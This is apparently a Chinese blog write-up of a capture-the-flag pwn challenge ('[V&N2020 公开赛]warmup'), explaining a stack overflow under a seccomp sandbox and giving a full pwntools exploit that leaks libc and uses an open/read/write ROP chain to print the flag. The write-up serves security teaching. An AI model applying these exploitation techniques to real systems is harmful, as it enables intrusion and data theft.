xlrp

[V&N2020 公开赛]warmup

附件

步骤:

  1. 例行检查,64位程序,除了canary,其他保护都开
    在这里插入图片描述

  2. 本地运行一下,看看大概的情况
    在这里插入图片描述

  3. 64位ida载入,从main函数开始看程序
    在这里插入图片描述
    看到程序将puts函数的地址泄露给了我们
    sub_84D()函数里面是prctl函数的沙箱机制
    在这里插入图片描述
    可以利用seccomp-tools工具来查看一下限制了哪些函数
    在这里插入图片描述
    禁止了execve和fork syscall,
    关于seccomp-tools工具的安装和使用看这篇文章,关于prctl函数可以看一下这篇文章

  4. sub_9D3()函数,第一个输入点,没什么漏洞
    在这里插入图片描述
    sub_9A1()函数,第二个输入点,可以溢出16字节,也就是我们正好只能覆盖到ret
    在这里插入图片描述
    但是这个函数在调用 sub_9D3 函数的之前没有任何东西入栈
    调用 sub_9A1 的返回地址入栈,覆盖完返回地址,下个8字节又正好是我们上次输入的东西,所以两次输入可以连起来,作为一个ROP链

  5. 一般沙盒类型的题目都不会禁掉open,read,write这三个函数,我们可以想办法在程序中读出flag,并输出,从而得到flag

64位程序,传参要用到寄存器,题目已经给了我们libc版本,现在libc里找到设置他们值的指令的相对地址
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
然后还有一个问题,那就是将flag读到哪里是个问题,在查阅了其他师傅写的wp之后总结了一下

1. libc.[‘environ’],是libc存储的栈地址
2. libc.address + 0x3C6500 和 libc.address + 0x3C6700,是位于libc的bss段
3. __free_hook ,__free_hook是全局变量,可以直接被修改

搞清楚上述的内容后,开始写exp

from pwn import *

r=remote(\'node3.buuoj.cn\',27182)
libc=ELF("./libc-2.23.so")
context.log_level=\'debug\'

r.recvuntil("0x")   
puts_addr=int(r.recv(12),16)

libcbase_addr=puts_addr-libc.symbols[\'puts\']

pop_rdi_ret=libcbase_addr+0x21102
pop_rsi_ret=libcbase_addr+0x202e8
pop_rdx_ret=libcbase_addr+0x1b92

open_addr=libcbase_addr+libc.symbols[\'open\']
#free_hook=libcbase_addr+libc.symbols[\'__free_hook\']
libc_bss =libcbase_addr+0x3c5720
read_addr=libcbase_addr+libc.symbols[\'read\']
#puts_addr=libcbase_addr+libc.symbols[\'puts\']
write_addr=libcbase_addr+libc.symbols[\'write\']

#   写入read函数的调用,之后我们传入‘flag’这4个字符,作为下面open,read,write的文件名
payload =  p64(0) + p64(pop_rsi_ret) + p64(libc_bss) + p64(pop_rdx_ret) + p64(0x100) + p64(read_addr)
#	写入open函数的调用,打开名为‘flag’的文件
payload += p64(pop_rdi_ret) + p64(libc_bss) + p64(pop_rsi_ret) + p64(0) + p64(open_addr)
#	写入read函数的调用,读出‘flag’文件里的内容
payload += p64(pop_rdi_ret) + p64(3) + p64(pop_rsi_ret) + p64(libc_bss) + p64(pop_rdx_ret) + p64(0x100) + p64(read_addr)
#	写入write函数的调用,打印出‘flag’文件里的内容
payload += p64(pop_rdi_ret) + p64(1) + p64(pop_rsi_ret) + p64(libc_bss) + p64(pop_rdx_ret) + p64(0x100) + p64(write_addr)

r.sendafter("Input something: ",payload)
r.sendafter("What\'s your name?",\'a\'* 0x78+p64(pop_rdi_ret))
r.send("flag")
r.interactive()

在这里插入图片描述

分类:

技术点:

相关文章:

  • 2021-03-03
  • 2020-05-15
  • 2021-05-26
  • 2021-11-27
  • 2021-07-19
  • 2021-09-19
  • 2021-09-19
  • 2021-09-19
猜你喜欢
  • 2021-09-19
  • 2021-10-02
  • 2021-07-07
  • 2021-03-30
  • 2021-09-19
  • 2021-06-18
  • 2021-10-19
相关资源
相似解决方案